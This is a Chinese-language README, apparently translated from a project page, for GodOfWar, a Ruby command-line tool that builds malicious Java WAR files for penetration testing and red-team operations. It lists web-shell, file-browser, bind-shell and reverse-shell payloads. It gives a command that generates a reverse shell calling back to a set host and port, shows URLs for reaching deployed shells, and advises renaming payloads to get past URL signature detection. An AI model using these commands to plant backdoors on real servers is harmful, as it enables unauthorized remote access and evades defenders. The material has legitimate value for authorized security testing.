GodOfWar - 恶意Java WAR构建器

一个命令行工具，用于生成用于渗透测试/红队行动目的的战（WAR）负载，使用Ruby编写。

                              .
                             hhh              
                            hhhhhhh           
                           hhhhhhhh        
                          hhhhhhhh+        
                         hhhhhhhh'           
                        hhhhhhhh.            
                       hhhhhhhhh             
        ..--          hhhhhhhhh             
      -sh/..  +.     hhhhhhhhh:              
      /+/:-/+ss-`   hhhhhhhhhh:               
      /MMM`ss:``.`  hhhhhhhhhh:              
     .MMMMM:        hhhhhhhhhhhhhhhhh:       
     MMMMMMM:        hhhhhhhhhhhhhhhh:      
     MMMMMMMMMMMMM:  hhhhhhhhhhhhhhhh`       
    :NNm:odh/oMMMNs. hhhhhhhhhhhhhhhh`       
   ./:`smdo+oos++-    `++sNMMMMMNmh+         
      .-y-`     ` :.  /   -dmddhhhhh-        
       o/-     `//o/ /M/   `+hhhhhhhh`       
      /o     :yosmy   +y  .`.hhhhhhhho       
      +`     /../.:      `.y::hhhhhs:`       
       `      `+yys`   .sy` /oohhy:          
                `/:s/-``     `.hh`           
               ..`     `       y+            
            .hNNmmNdymmmmds`   :-            
            hs.   ``..    :y-  `             
               -hhmNmddm+   .                
               `NMMMMMMm                     
                ` `oMMy                      
            `.     /Md-      :o  
           MMMMMMMMMMMMMMMMMMM:             
            MMMMMMMMMMMMMMMMMM:              
             MMMMMMMMMMMMMMMMM               
              MMMMMMMMMMMMMMM.               
              `MMMMMMMMMMMMM.                 
                :sNMMMNMdo:                  
                  ``+m:/-                    
                     `                                  
GodOfWar - Malicious Java WAR builder.

特性

现有负载（尝试 -l/--list）
- cmd_get
- filebrowser
- bind_shell
- reverse_shell
- reverse_shell_ui
可配置的后门（尝试 --host/--port）
控制负载名
- 避免部署后使用恶意名称以绕过URL名称签名

安装

$ gem install godofwar

用法

$ godofwar -h 

帮助菜单：
   -p, --payload PAYLOAD            从可用负载中生成war（配合-l/--list使用）
   -H, --host IP_ADDR               所选负载的本地或远程IP地址（配合 -p/--payload使用）
   -P, --port PORT                  所选负载的本地或远程端口（配合 -p/--payload使用）
   -o, --output [FILE]              输出文件及部署名称（默认为负载原始名称，查看‘-l/--list’）
   -l, --list                       列出所有可用负载
   -h, --help                       显示此帮助信息

示例

列出所有负载

$ godofwar -l
├── cmd_get
│   └── Information:
│       ├── Description: Command execution via web interface
│       ├── OS:          any
│       ├── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/cmd.jsp?cmd=whoami
│       ├── References:  ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get
├── filebrowser
│   └── Information:
│       ├── Description: Remote file browser, upload, download, unzip files and native command execution
│       ├── OS:          any
│       ├── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/filebrowser.jsp
│       ├── References:  ["http://www.vonloesch.de/filebrowser.html"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser
├── bind_shell
│   └── Information:
│       ├── Description: TCP bind shell
│       ├── OS:          any
│       ├── Settings:    {"port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse-shell.jsp
│       ├── References:  ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell
├── reverse_shell_ui
│   └── Information:
│       ├── Description: TCP reverse shell with a HTML form to set LHOST and LPORT from browser.
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell_ui.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui
├── reverse_shell
│   └── Information:
│       ├── Description: TCP reverse shell. LHOST and LPORT are hardcoded
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell

生成带有LHOST和LPORT的负载

godofwar -p reverse_shell -H 192.168.100.10 -P 9911 -o puppy

部署后，你可以访问你的shell于(http://host:8080/puppy/puppy.jsp)

贡献

Fork 它 ( https://github.com/KINGSABRI/godofwar/fork ).
创建你的特性分支 (git checkout -b my-new-feature).
提交你的更改 (git commit -am 'Add some feature').
推送到该分支 (git push origin my-new-feature).
创建一个新的 Pull Request.

添加更多后门

要贡献更多后门：

在payloads目录下创建一个新文件夹。
将你的jsp文件放入新创建的目录（确保目录名与文件名相同）。
更新 payloads_info.json 文件，包含：
1. 描述。
2. 支持的操作系统（尽量使其通用）。
3. 配置：默认主机和端口。
4. 参考来源：负载来源或其创建者致谢。

许可证

该gem以开源形式提供，遵循MIT许可条款。

godofwar

最受欢迎

GodOfWar - 恶意Java WAR构建器

特性

安装

用法

示例

贡献

添加更多后门

许可证